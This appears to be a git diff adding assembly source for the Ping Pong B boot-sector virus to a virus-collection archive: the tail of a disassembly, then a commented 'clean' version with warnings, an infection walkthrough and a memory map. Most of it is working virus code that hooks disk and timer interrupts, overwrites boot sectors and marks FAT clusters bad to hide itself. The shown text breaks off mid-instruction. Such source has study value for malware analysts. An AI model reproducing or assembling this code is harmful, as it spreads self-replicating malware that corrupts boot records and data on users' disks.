@@NO_ERR: ; and return one lever higher than should. + RET + +NEW_INT13 LABEL FAR ;New INT 13h handler + PUSH DS + PUSH ES + PUSH AX + PUSH BX ;Save registers on stack + PUSH CX + PUSH DX + + PUSH CS ;Establish our data segment registers + POP DS + PUSH CS + POP ES + ASSUME DS:VIRUS,ES:VIRUS + TEST Byte Ptr FLAGS+OFS_ADJ,01 ;Was this INT invoked before? + JNZ @@END ;If so, ignore this call + CMP AH,02 ;Intercept read requests only + JNE @@END + CMP DRIVE+OFS_ADJ,DL ;Check drive number... + MOV DRIVE+OFS_ADJ,DL ; (also save it for next time) + JNZ @@INFECT ;...if not the same, infect immediately + XOR AH,AH + INT 1AH ;Get clock tick count + TEST DH,07FH ;Is it the right time to activate + JNZ @@UPDATE_TICKS ; the bouncing ball display? + TEST DL,0F0H + JNZ @@UPDATE_TICKS + PUSH DX ;Preserve clock tick count + CALL INST_BALL ;Install the bouncing ball routine, + POP DX ; if not established already. + @@UPDATE_TICKS: + MOV CX,DX ;Find elapsed time since last call + SUB DX,TICK_COUNT+OFS_ADJ ; to this routine. Also save tick + MOV TICK_COUNT+OFS_ADJ,CX ; count for next time. + SUB DX,36 ;If less than 2 seconds have passed, + JB @@END ; don't infect the disk. + @@INFECT: + OR Byte Ptr FLAGS+OFS_ADJ,00000001B ;Set busy flag for INT 13h + PUSH SI + PUSH DI + CALL INFECT_A_DISK ;Attempt to infect target disk + POP DI + POP SI + AND Byte Ptr FLAGS+OFS_ADJ,11111110B ;Clear busy flag. + @@END: + POP DX + POP CX + POP BX ;Restore caller's registers + POP AX + POP ES + POP DS +INT13_PATCH LABEL WORD + JMP DUMMY_ADDRESS ;Continue with original INT 13h handler + +INFECT_A_DISK: + MOV AX,0201H ;Read one sector... + MOV DH,0 + MOV CX,0001H ;...the first sector of a disk. + CALL DISK_SERVICE + +;At this point, the sector we just read could be a normal boot record, +;or the partition table of a hard disk. If it's a boot record from a floppy, +;then proceed to infect it. Otherwise, we have to find the DOS partition +;of the hard disk and read the boot sector from that partition. We search +;the partition for a DOS-12 or DOS-16 entry, then, using the beginning +;drive/side/track/sector information, we read the first sector of the +;partition. That sector will be the required boot record, which we will +;prodeed to process. + TEST Byte Ptr DRIVE+OFS_ADJ,80H ;Is the disk a Winchester? + JZ @@FLOPPY ;If so, then we got a partition table. + MOV SI,OFFSET PARTITION_TABLE+OFS_ADJ + MOV CX,4 + @@LP: ;Check O/S identification byte: + CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition? + JE @@FOUND ; if so, then continue with infection. + CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition. + JE @@FOUND + ADD SI,16 ;Not this one, go to next partition + LOOP @@LP + RET ;No suitable DOS partitions found, so exit. + @@FOUND: + MOV DX,[SI] ;Get drive number and side + MOV CX,[SI+2] ;Get track and sector numbers + MOV AX,0201H ;Read one sector... + CALL DISK_SERVICE + + @@FLOPPY: ;A DOS boot record is at CS:8000 + MOV SI,OFFSET _NOP_INST+OFS_ADJ ;Copy BPB to virus' code + MOV DI,OFFSET NOP_INST+OFS_ADJ ; space at ES:7C00h + MOV CX,001CH + REP MOVSB + CMP Word Ptr _VIRUS_SIG+OFS_ADJ,01357H ;Check virus' signature + JNE @@INFECT ;Infect if not the same + +;It is not known what the following code does; it seems to soem sort of +;error recovery procedure, in case the first attempt at infection failed. + CMP Byte Ptr _CONTINUATION+OFS_ADJ,0 + JNB @@EXIT + MOV AX,_SYSTEM_SECTORS+OFS_ADJ + MOV SYSTEM_SECTORS+OFS_ADJ,AX + MOV SI,_PART2_SECTOR+OFS_ADJ + JMP CONT_POINT + @@EXIT: + RET ;Exit now; cannot infect this disk + + @@INFECT: + CMP Word Ptr _BYTES_PER_SEC+OFS_ADJ,512 ;512 byte sectors only! + JNZ @@EXIT + CMP Byte Ptr _SEC_PER_CLU+OFS_ADJ,2 ;At lease 2 sectors per cluster + JB @@EXIT + +;The virus now computes the number of system use sectors and number of data +;sectors. System use sectors include the Boot Record, FAT copies, root +;directory, and any otherwise reserved sectors. What's left is the number +;of data sectors. + MOV CX,_RES_SECTORS+OFS_ADJ ;Get # of reserved sectors + MOV AL,_FAT_COPIES+OFS_ADJ ;Get # of FAT copies + CBW ;Convert to word in AX + MUL Word Ptr _SEC_PER_FAT+OFS_ADJ ;Multiply by sectors/FAT + ADD CX,AX ;Add result to # reserved sec. + + MOV AX,32 ;Each dir entry is 32 bytes + MUL Word Ptr _DIR_ENTRIES+OFS_ADJ ;Get size of root dir in bytes + ADD AX,511 ;Round up when dividing... + MOV BX,512 ;Divide by 512 to get # sectors + DIV BX ; the root directory takes. + ADD CX,AX ;Add to # reserved sectors + MOV SYSTEM_SECTORS+OFS_ADJ,CX ;(Overflow & remainder ignored) + +;The virus now calculates the number of data sectors and clusters. +;If there are more than 4080 clusters, then assume we're using a 16 bit FAT. + MOV AX,TOTAL_SECTORS+OFS_ADJ ;Get total # of sectors on disk + SUB AX,SYSTEM_SECTORS+OFS_ADJ ;Subtract # of system sectors + MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors in a cluster + XOR DX,DX ;Clear high order word... + XOR BH,BH ; and byte for division + DIV BX ;Divide, to get # of clusters + INC AX ;Round up by one + MOV DI,AX ;Save for "find free" routine + AND Byte Ptr FLAGS+OFS_ADJ,11111011B ;Clear "16 bit FAT" flag. + CMP AX,0FF0H ;Is # of clusters too high? + JBE @@1 + OR Byte Ptr FLAGS+OFS_ADJ,00000100B ;If so, set flag for 16 bit FAT + @@1: +;Now the search for a free cluster begins. + MOV SI,1 ;Counter of now many FAT sectors searched + MOV BX,RES_SECTORS+OFS_ADJ ;Start with 1st FAT sector + DEC BX ;Sub 1, because we add 1 later + MOV CUR_FAT_SECTOR+OFS_ADJ,BX + MOV Byte Ptr FAT_OFS_ADJ+OFS_ADJ,-2 ;Set "cluster overhead" + JMP SHORT VIRUS_PART2_CONT ;JUMP to part II + + ORG 01F3H +CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection +SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors +FLAGS DB ? ;Bit mapped flags +DRIVE DB ? ;Current drive number +PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus +CONTUATION DB ? ;??? Continuation flag??? + ORG 01FCH +VIRUS_SIG DW 01357H ;Virus' signature +BIOS_SIG DW 0AA55H ;Required signature of all boot sectors + + +;*************** Second sector of virus code starts here! ******************; + + ORG 0200H +VIRUS_PART2_CONT: + +;Note: DI has maximum cluster number, and SI has current cluster number. + @@NEXT_SECTOR: + INC Word Ptr CUR_FAT_SECTOR+OFS_ADJ ;Add one to FAT sector # + MOV BX,CUR_FAT_SECTOR+OFS_ADJ + ADD Byte Ptr FAT_OFS_ADJ+OFS_ADJ,2 + CALL READ_SECTOR ;Read the FAT sector + JMP SHORT @@CHECK ;Check for end of search + @@FIND_FREE: +;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if +;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following: +;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then +;divide by 2. + MOV AX,3 + TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;Check for 16 bit FAT + JZ @@0 + INC AX ;Use 4 if FAT-16 + @@0: + MUL SI ;Multiply by cluster number + SHR AX,1 ;Divide by 2 + +;The cluster adjustment value is needed to keep offsets within 512 bytes. +;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time +;we calculate another FAT offset for each subsequent FAT sector. + SUB AH,FAT_OFS_ADJ+OFS_ADJ ;Subtract cluster adjustment + MOV BX,AX + CMP BX,01FFH ;Is offset too high? + JNB @@NEXT_SECTOR ;If so, go to next sector + MOV DX,Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ] ;Get entry + +;Once we have the cluster entry, we have to adjust it for a FAT-12 if +;necessary. On a FAT-16, we can use the vlaue directly. +;If it is a 12 bit FAT: +; Clear upper nibble if cluster number is even. +; Otherwise, throw out lower nibble and shift down by 4 bits. + TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check + JNZ @@2 + MOV CL,04 ;Prepare for shift + TEST SI,1 ;Cluster number odd/even check. + JZ @@1 + SHR DX,CL ;Shift down by 1 nibble if odd. + @@1: + AND DH,0FH ;Clear highest nibble. + + @@2: +;A free cluster has an entry of 0. Using the TEST instruction, we check +;for an entry of 0. Note that the TEST DX,0FFFFH could be replaced by +;OR DX,DX, saving two bytes. + TEST DX,0FFFFH + JZ FREE_FOUND + @@CHECK: ;See if the maximun cluster number has been + INC SI ; reached. If so, then no free cluster has + CMP SI,DI ; been found, so we can't infect the disk + JBE @@FIND_FREE + RET + +FREE_FOUND: +;Now that we found a free cluster, we'll set that cluster to "bad" status. +;As before, we test for a 12 bit FAT and adjust the bad cluster flag +;accordingly. + MOV DX,0FFF7H ;Bad cluster flag. + TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check. + JNZ @@0 + AND DH,0FH ;Clear upper nibble + MOV CL,04 + TEST SI,1 ;Cluster number odd/even check. + JZ @@0 + SHL DX,CL ;Shift by 4 bits if odd. + @@0: + OR Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ],DX ;Insert new value. + MOV BX,CUR_FAT_SECTOR+OFS_ADJ ;Get FAT sector # + CALL WRITE_SECTOR ;Write modified FAT to disk + MOV AX,SI ;Get free cluster number to AX + SUB AX,2 ;Subtract cluster number basis + MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors/cluster + XOR BH,BH + MUL BX ;Multiply to get sector number + ADD AX,SYSTEM_SECTORS+OFS_ADJ ;Add # system use sectors to + MOV SI,AX ; get DOS sector # on disk + MOV BX,0 ;Read the boot record from sector 0 + CALL READ_SECTOR + MOV BX,SI ;Write it out to disk, in the second + INC BX ; sector of our "bad" cluster + CALL WRITE_SECTOR +CONT_POINT: + MOV BX,SI ;SI has first sector of free cluster + MOV PART2_SECTOR+OFS_ADJ,SI ;Save it + PUSH CS + POP AX + SUB AX,20H ;Adjust segment value so ES:8000 will + MOV ES,AX ; be the same as CS:7E00h + CALL WRITE_SECTOR ;Write part 2 of virus to disk + PUSH CS + POP AX + SUB AX,40H ;Now adjust ES so an offset of 8000 + MOV ES,AX ; will point to CS:7C00h + MOV BX,0 ;Write the first part of the virus + CALL WRITE_SECTOR ; into the boot sector + RET ;DISK IS NOW INFECTED!!!! + + ORG 02B0H +TICK_COUNT DW ? +FAT_OFS_ADJ DB ? + +INST_BALL: ;Install bouncing ball routine + TEST Byte Ptr FLAGS+OFS_ADJ,00000010B ;Installed already? + JNZ @@EXIT + OR Byte Ptr FLAGS+OFS_ADJ,00000010B ;Set "installed" flag + MOV AX,0 + MOV DS,AX + ASSUME DS:LOW_MEM_DATA + MOV AX,INT8_OFS ;Get vector for INT 8h + MOV BX,INT8_SEG + MOV INT8_OFS,OFFSET NEW_INT8+OFS_ADJ ;Set vector to point at + MOV INT8_SEG,CS ; our routine. + PUSH CS + POP DS + ASSUME DS:VIRUS + MOV INT8_PATCH+1+OFS_ADJ,AX ;Direcly patch original vecotr + MOV INT8_PATCH+3+OFS_ADJ,BX ; contents into our code. + @@EXIT: + RET + +NEW_INT8 LABEL FAR ;New INT 8 handler + PUSH DS + PUSH AX + PUSH BX ;Save affected registers + PUSH CX + PUSH DX + + PUSH CS + POP DS + MOV AH,0FH ;Get video mode, page, and # of columns + INT 10H + MOV BL,AL ;Move mode number into BL +;If the video mode and page are the same as last time, then continue bouncing +;the ball. Otherwise, reset the ball position and increment, and start anew. +;Note: The active page number is in BH throughout this routine. + CMP BX,VIDEO_PARAMS+OFS_ADJ ;Is mode and page same as last time? + JE @@SAME_MODE + MOV VIDEO_PARAMS,BX ;Save for futore reference (!!) + DEC AH ;Subtract 1 from number of columns + MOV SCRN_COLS+OFS_ADJ,AH ; onscreen and save it. + MOV AH,1 ;Assume graphics mode. + CMP BL,7 ;Mono text mode? + JNE @@0 + DEC AH ;Set flag to 0 if so. + @@0: + CMP BL,4 ;Is mode number below 4? (ie. 0-3) + JNB @@1 + DEC AH + @@1: + MOV GRAF_MODE+OFS_ADJ,AH ;Save flag value. + MOV Word Ptr BALL_POS+OFS_ADJ,0101H ;Set XY position to 1,1 + MOV Word Ptr BALL_INC+OFS_ADJ,0101H ;Set XY increment to 1,1 + MOV AH,03H + INT 10H ;Read cursor position into DX + PUSH DX ; and save it on the stack. + MOV DX,BALL_POS ;Get XY position of ball. + JMP SHORT UPDATE_BALL_POS ;Change increment if needed. + + @@SAME_MODE: ;Enter here if mode not changed. + MOV AH,03H + INT 10H ;Get cursor position into DX + PUSH DX ; and save it. + MOV AH,02 + MOV DX,BALL_POS+OFS_ADJ + INT 10H ;Move to bouncing ball location. + MOV AX,ORG_CHAR+OFS_ADJ ;Get original screen char & attribute. + CMP Byte Ptr GRAF_MODE+OFS_ADJ,1 ;Check for graphics mode/ + JNE @@3 + MOV AX,8307H ;If graphics mode, use CHR$(7) + @@3: ;If not, then use original char + MOV BL,AH ;Move color value into BL + MOV CX,1 ;Write one character + MOV AH,09H ; with attributes and all + INT 10H ; into page in BH. + +;The update routine will check for the ball's position on a screen border. +;If it's on a border, then negate the increment for that direction. +;(ie, if the ball was moving up, reverse it.) If the increment was not +;changed, then "randomly" change the X or Y increment based on the lower +;three bits of the previous screen character. This will make the ball +;appear to bounce around "randomly" on a screen filled with characters. + +;Note that the ineffecient instructions "XOR rr,0FFH" and "INC rr" can be +;replaced by "NEG rr" (where rr is a register.) This will save 3 bytes +;for every occurance. +UPDATE_BALL_POS: ;Figure new ball position. + MOV CX,BALL_INC+OFS_ADJ ;Get ball position increment. + CMP DH,0 ;Is is on the top row of the screen? + JNZ @@0 + XOR CH,0FFH ;Make a ones-complement of the value, + INC CH ; then add 1 to make a twos-comp. + @@0: + CMP DH,24 ;Reached bottom edge? + JNZ @@1 + XOR CH,0FFH ;See above! + INC CH + @@1: + CMP DL,0 ;Reached left edge? + JNZ @@2 + XOR CL,0FFH ;See above! + INC CL + @@2: + CMP DL,SCRN_COLS+OFS_ADJ ;Reached right edge? + JNZ @@3 + XOR CL,0FFH ;Should be familar by now! + INC CL + @@3: + CMP CX,BALL_INC+OFS_ADJ ;Is the increment the same as before? + JNE CALC_NEW_POS ;If not, apply the modified increment. + MOV AX,ORG_CHAR+OFS_ADJ ;Do "ramdom" updating, as described + AND AL,00000111B ; in the note above. + CMP AL,00000011B + JNE @@4 + XOR CH,0FFH ;Reverse Y direction. + INC CH + @@4: + CMP AL,00000101B + JNE CALC_NEW_POS + XOR CL,0FFH ;Reverse X direction. + INC CL + +CALC_NEW_POS: + ADD DL,CL ;Add increments to ball position. + ADD DH,CH + MOV BALL_INC+OFS_ADJ,CX ;Save ball position increment and + MOV BALL_POS+OFS_ADJ,DX ; new ball position. + MOV AH,02H ;Move to ball position, which is + INT 10H ; in register DX. + MOV AH,08H ;Read the present screen char and + INT 10H ; attribute. + MOV ORG_CHAR+OFS_ADJ,AX ;Save them for next time. + MOV BL,AH ;Use same attribute, if in text mode + CMP Byte Ptr GRAF_MODE+OFS_ADJ,1 + JNE @@0 + MOV BL,83H ;Otherwise, use color # 83H + @@0: + MOV CX,0001H ;Write one character and attribute + MOV AX,0907H ; using CHR$(7) as the character. + INT 10H + POP DX ;Get old cursor position. + MOV AH,02H ;Move cursor back to that position. + INT 10H + POP DX + POP CX + POP BX ;Restore affected registers. + POP AX + POP DS +INT8_PATCH LABEL WORD + JMP DUMMY_ADDRESS ;Continue with original INT 8h handler. + +ORG_CHAR DW ? ;Original screen character and attribute. +BALL_POS DW ? ;Bouncing ball's XY position. +BALL_INC DW ? ;Ball's XY increment +GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode. +VIDEO_PARAMS DW ? ;Mode number and page number. +SCRN_COLS DB ? ;Number of screen columns minus 1 + +VIRUS_LENGTH EQU $-START_HERE + DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes. + +;******************** End of virus code! ************************************** + + ORG 0400H ;Work area for the virus +SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!! +_JMP_INST DW ? +_NOP_INST DB ? + +_OEM_ID DB 8 DUP(?) +_BYTES_PER_SEC DW ? +_SEC_PER_CLU DB ? +_RES_SECTORS DW ? +_FAT_COPIES DB ? +_DIR_ENTRIES DW ? ;This is the BPB of the target +_TOTAL_SECTORS DW ? ; disk during infection. +_MEDIA_DESCRIP DB ? +_SEC_PER_FAT DW ? +_SEC_PER_TRK DW ? +_SIDES_ON_DISK DW ? +_HIDDEN_SECTORS DW ? + + ORG 05BEH +PARTITION_TABLE LABEL NEAR + + ORG 05F3H +_CUR_FAT_SECTOR DW ? +_SYSTEM_SECTORS DW ? +_FLAGS DB ? +_DRIVE DB ? +_PART2_SECTOR DW ? +_CONTINUATION DB ? + ORG 05FCH +_VIRUS_SIG DW ? +_BIOS_SIG DW ? ;Should always be 0AA55h + VIRUS ENDS + END + +;Disassembled by James L. July 1991 +;# EOF #; diff --git a/MSDOS/Virus.MSDOS.Unknown.pingbnew.asm b/MSDOS/Virus.MSDOS.Unknown.pingbnew.asm new file mode 100644 index 00000000..fd1032d0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pingbnew.asm @@ -0,0 +1,730 @@ +TITLE PINGB-C.ASM - Ping Pong "B" virus assembly source code (CLEAN VERSION) + +COMMENT # Read the following carefully: + + THIS FILE IS INTENDED FOR EXAMINATION ONLY. + +WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!! +This virus, when assembled, is (almost) harmless if left in a file. +At best, the code will overwrite part of DOS and hang your machine. +At worst, it could wipe out the Boot record of A: or the master boot +record of your hard disk. Since the virus MUST be loaded from a boot +sector to function properly, running the code from DOS will definitely +cause problems. + +DISCLAIMER: The author will NOT be held responsible for any damages + caused by careless use of the information presented here. + +NOTE: This is the "clean" copy of the Ping Pong B virus. It "corrects" + the coding quirks listed below. + + +THEORY OF OPERATION: + +1) A disk with the virus is booted. +2) The BIOS memory count is decreased by 2k, to prevent DOS from + overwriting the virus, and relocates itself to the reserved space. +3) Part II of the virus is read into RAM just after part I. +4) The original boot sector is read to 0000:7C00. +5) Virus gets and saves the address of INT 13h, the BIOS disk service + interrupt routine, then hooks its own routine in place. +6) The virus jumps to 0000:7C00, load DOS if possible. + + +INFECTION PROCESS: + +1) A BIOS read request is preformed on the target disk. +2) If the drive is different from the last drive that was read from, then + attempt infection immediately. Otherwise, check the BIOS clock tick + count to see if it's time to activate the bouncing ball routine. +3) Read very first sector of the disk. If it's a hard disk, then search + for a DOS-12 or DOS-16 partition, and if found, read the first sector + of THAT partition. We now have the "normal" boot record of the target + disk in the sector buffer. +4) Copy the BPB from the boot record to the virus code space. +5) Check virus' signature in the boot record to see if infected before. + Check disk structure; virus needs 512 byte sectors, and at least 2 sectors + per cluster to infect the disk. +6) Calculate number of system use sectors, data sectors, and maximum cluster + number. +7) Starting with the first sector of the FAT, search for a free cluster. + If none found, then don't infect the disk. +8) The first free cluster is flagged as bad, and the FAT is updated. Note + that only the first copy of the FAT will be modified. +9) The original boot sector is re-read and written to the second sector of + the virus' cluster. Part II of the virus is written to the first sector. + Part I is written to sector 0, replacing the original boot record. + + +INFECTION RESTRICTIONS: + +0) The virus cannot infect a write-protected disk (obvious, isn't it?) +1) The virus will not infect a non-DOS bootable hard disk. +2) The virus will only infect a disk with 512 byte sectors, and at least two + sectors per cluster. This rules out 1.44M and 1.2M disks, among others. +3) The virus will not infect a disk with no free space (from DOS's view). + + +CODING QUIRKS: (All have been corrected!!) + +1) The virus uses a "MOV CS,AX" instruction to continue execution after + relocating itself to higher memory (see MEMORY MAP, below). This should + not work on a 286 or 386 system (the author has not tried it!). +2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit + register). It could be replaced by "XOR rr,0" to save a byte. +3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first + computing the ones complement, then adding one to get the twos + complement.) This could be replaced by "NEG rr" to save three bytes. +4) The use of OFS_ADJ (see below for computation) is needed to let me use + an ORG of 0 when assembling the file. I could've used ORG 07C00h, but + that would create a file about 32k in size on assembling. Instead, I + chose to add this offset manually to force correct address generation. + + +MEMORY MAP: (Adjusted for "clean" version!!) + +The virus will relocate itself 2k below the top of memory. The virus +itself is 1024 bytes, and uses a 512 byte buffer when infecting other +disks. In all, the virus uses 1.5k of memory that is 512 bytes below +the BIOS top of memory count. For a 640k machine the map becomes: + + 640.0k (9F80:0800, which is A000:0000) ==> Top of memory + 639.5k (9F80:0600 to 9F80:07FF) ==> Unused + 639.0k (9F80:0400 to 9F80:05FF) ==> Buffer used by virus + 638.5k (9F80:0200 to 9F80:03FF) ==> 2nd part of virus code + 638.0k (9F80:0000 to 9F80:01FF) ==> Main part of Ping Pong virus + +# End of comment + + +LOCALS + +PROGRAM_ASSEMBLY_OFS EQU 0000H +BOOT_SECTOR_LOAD_OFS EQU 7C00H + + LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space + ORG 0H ;Interrupt vector space +DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching + + ORG 0020H +INT8_OFS DW ? ;INT 8h vector offset & segment +INT8_SEG DW ? + + ORG 004CH +INT13_OFS DW ? ;INT 13h vector offset & segment +INT13_SEG DW ? + + ORG 0413H ;BIOS data area +KB_MEM DW ? ;K bytes of RAM in machine + + ORG 7C00H ;Jump here to load O/S +BOOT_SECTOR_EXEC LABEL FAR + + LOW_MEM_DATA ENDS + + VIRUS SEGMENT + ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING + ORG 0H + +START_HERE: + JMP SHORT CODE_START ;Force a two byte relative JuMp +NOP_INST: + NOP +OEM_ID DB 'PingPong' ;Must be eight characters long! +BYTES_PER_SEC DW 512 +SEC_PER_CLU DB 2 +RES_SECTORS DW 1 +FAT_COPIES DB 2 +DIR_ENTRIES DW 112 ;This is a standard +TOTAL_SECTORS DW 720 ; BIOS Parameter Block! +MEDIA_DESCRIP DB 0FDH +SEC_PER_FAT DW 2 +SEC_PER_TRK DW 9 +SIDES_ON_DISK DW 2 +HIDDEN_SECTORS DW 0 + + ORG 001EH ;Must ORGinate at offset 1Eh +CODE_START: + XOR AX,AX + MOV SS,AX ;Set up stack pointer + MOV SP,BOOT_SECTOR_LOAD_OFS + MOV DS,AX + ASSUME DS:LOW_MEM_DATA + MOV AX,KB_MEM ;Get BIOS's count of available memory + SUB AX,2 ;Reserve 2k for virus's use + MOV KB_MEM,AX ;Save updated memory Kbyte count + +;Shifting the memory Kbyte count left by 6 bits will yield the equivalent +;paragraph count. The result is the target segment value for relocation. +;For a 640k machine (numbers in parenthesis are decimal equivalents) +; Original BIOS memory count: 280h ( 640) Kbytes +; After virus subtracts 2k : 27Eh ( 638) Kbytes +; Shifting left by 6 bits : 9F80h (40832) segment value + MOV CL,06 + SHL AX,CL ;This is same as multiplying by 64 + MOV ES,AX ;Use result as segment value + MOV SI,BOOT_SECTOR_LOAD_OFS + XOR DI,DI ;Set up index regisetrs for move + MOV CX,256 + REP MOVSW ;Copy 256 words (ie 512 bytes) + MOV Word Ptr CS:CONT_ADDR+7C02H,AX ;Patch JUmP instruction. + JMP CS:CONT_ADDR ;JUMP far into higher memory +CONT_ADDR LABEL DWORD + DW VIRUS_CONT + DW ? + +VIRUS_CONT LABEL FAR ;Continuation address after move + PUSH CS + POP DS ;Set up DS register + ASSUME ES:VIRUS,DS:VIRUS + CALL @@LOAD_PART_2 ;try two times to load part 2 + @@LOAD_PART_2: + XOR AH,AH + INT 13H ;Reset disk subsystem + AND Byte Ptr DRIVE,080H ;Force drive number to either A: or C: + MOV BX,PART2_SECTOR + +;The sector read/write routine always uses a fixed offset of 0400h; so to get +;the data into the right place, the segment registers are adjusted instead. +;We want to load part 2 of the virus just after part 1, so the offset normally +;would be 0200h (ie, 0000h+0200h). However, since the offset MUST be 0400h, +;we will change ES to be 0200h BYTES lower then it normally would be. +;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES +;only subtract 0020h. +;This gives us a effective offset calculation of 0400h - (20h * 10h) = 0200h + PUSH CS + POP AX ;See note above!! + SUB AX,20H + MOV ES,AX ;Move result into ES for read routine + + CALL READ_SECTOR + MOV BX,PART2_SECTOR ;Sector after part 2 of the virus is + INC BX ; the original boot record of the disk + MOV AX,0780H ;Address calculation for sector read: + MOV ES,AX ; 0400h + (0780h * 10h) = 07C00h + CALL READ_SECTOR ;Seperate segment and offset, and + XOR AX,AX ; you get 0000:7C00. + MOV FLAGS,AL ;Clear all flags. + MOV DS,AX + ASSUME DS:LOW_MEM_DATA + MOV AX,INT13_OFS + MOV BX,INT13_SEG + MOV Word Ptr INT13_OFS,OFFSET NEW_INT13 + MOV INT13_SEG,CS + PUSH CS + POP DS + ASSUME DS:VIRUS + MOV INT13_PATCH+1,AX ;Save original INT 13h vector + MOV INT13_PATCH+3,BX ; directly into instruction stream. + MOV DL,DRIVE + JMP BOOT_SECTOR_EXEC ;Load the O/S as normal + +;*************************************** +WRITE_SECTOR: + MOV AX,0301H + JMP SHORT VIRUS_DISK_SERV +READ_SECTOR: + MOV AX,0201H + VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX + XCHG AX,BX ;Swap command code and sector number + +;Now calculate the physical location of the sector number. DOS sectors are +;sequential, while the BIOS uses track, head, and sector numbers. +;Method: +; Starting with: AX=DOS sector # +; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1) +; Move sector number (in DL) to CH for later processing +; Dividing by sides on disk: AX=Track number DL=Head (Side) number +; Since the track # may be more than 255, we will combine the lower +; two bits in AH with the sector number in CH. First shift it left +; by 6 bits, to get it in the form tt000000, then OR it with CH. +; AX now has the following format (high to low bit seq.): TTssssss tttttttt +; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#, +; and "s" is bits of sector number. ) +; Now copy AX into CX, and reverse the two halves of CX. Now the track +; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss) +; The side number is still in DL, so copy it into DH for the BIOS. + + ADD AX,HIDDEN_SECTORS ;Add number of hidden sectors + XOR DX,DX ; (Clear high word for 32 bit division) + DIV SEC_PER_TRK ;Divide by sectors/track to get + INC DL ; sector number in DX. + MOV CH,DL + XOR DX,DX + DIV SIDES_ON_DISK ;Divide what's left in AX by + MOV CL,06 ; # of sides to get a track number + SHL AH,CL ; in AX and the head number in DX. + OR AH,CH ;Do some bit shuffling to get the + MOV CX,AX ; pieces in order... + XCHG CH,CL + MOV DH,DL ; and we're done! (whew!) + + MOV AX,BX ;Move command code back into AX +DISK_SERVICE: + MOV DL,DRIVE + MOV BX,0400H ;Offset is fixed. (See notes above) + INT 13H + JNC @@NO_ERR ;If successful, then return to caller normally + POP AX ;Otherwise, remove caller's return address + @@NO_ERR: ; and return one lever higher than should. + RET + +NEW_INT13 LABEL FAR ;New INT 13h handler + PUSH DS + PUSH ES + PUSH AX + PUSH BX ;Save registers on stack + PUSH CX + PUSH DX + + PUSH CS ;Establish our data segment registers + POP DS + PUSH CS + POP ES + ASSUME DS:VIRUS,ES:VIRUS + TEST Byte Ptr FLAGS,00000001B ;Was this INT invoked before? + JNZ @@END ;If so, ignore this call + CMP AH,02 ;Intercept read requests only + JNE @@END + CMP DRIVE,DL ;Check drive number... + MOV DRIVE,DL ; (also save it for next time) + JNZ @@INFECT ;...if not the same, infect immediately + XOR AH,AH + INT 1AH ;Get clock tick count + TEST DH,07FH ;Is it the right time to activate + JNZ @@UPDATE_TICKS ; the bouncing ball display? + TEST DL,0F0H + JNZ @@UPDATE_TICKS + PUSH DX ;Preserve clock tick count + CALL INST_BALL ;Install the bouncing ball routine, + POP DX ; if not established already. + @@UPDATE_TICKS: + MOV CX,DX ;Find elapsed time since last call + SUB DX,TICK_COUNT ; to this routine. Also save tick + MOV TICK_COUNT,CX ; count for next time. + SUB DX,36 ;If less than 2 seconds have passed, + JB @@END ; don't infect the disk. + @@INFECT: + OR Byte Ptr FLAGS,00000001B ;Set busy flag for INT 13h + PUSH SI + PUSH DI + CALL INFECT_A_DISK ;Attempt to infect target disk + POP DI + POP SI + AND Byte Ptr FLAGS,11111110B ;Clear busy flag. + @@END: + POP DX + POP CX + POP BX ;Restore caller's registers + POP AX + POP ES + POP DS +INT13_PATCH LABEL WORD + JMP DUMMY_ADDRESS ;Continue with original INT 13h handler + +INFECT_A_DISK: + MOV AX,0201H ;Read one sector... + MOV DH,0 + MOV CX,0001H ;...the first sector of a disk. + CALL DISK_SERVICE + +;At this point, the sector we just read could be a normal boot record, +;or the partition table of a hard disk. If it's a boot record from a floppy, +;then proceed to infect it. Otherwise, we have to find the DOS partition +;of the hard disk and read the boot sector from that partition. We search +;the partition for a DOS-12 or DOS-16 entry, then, using the beginning +;drive/side/track/sector information, we read the first sector of the +;partition. That sector will be the required boot record, which we will +;prodeed to process. + TEST Byte Ptr DRIVE,80H ;Is the disk a Winchester? + JZ @@FLOPPY ;If so, then we got a partition table. + MOV SI,OFFSET PARTITION_TABLE + MOV CX,4 + @@LP: ;Check O/S identification byte: + CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition? + JE @@FOUND ; if so, then continue with infection. + CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition. + JE @@FOUND + ADD SI,16 ;Not this one, go to next partition + LOOP @@LP + RET ;No suitable DOS partitions found, so exit. + @@FOUND: + MOV DX,[SI] ;Get drive number and side + MOV CX,[SI+2] ;Get track and sector numbers + MOV AX,0201H ;Read one sector... + CALL DISK_SERVICE + + @@FLOPPY: ;A DOS boot record is at CS:0400 + MOV SI,OFFSET _NOP_INST ;Copy BPB to virus' code + MOV DI,OFFSET NOP_INST ; space at 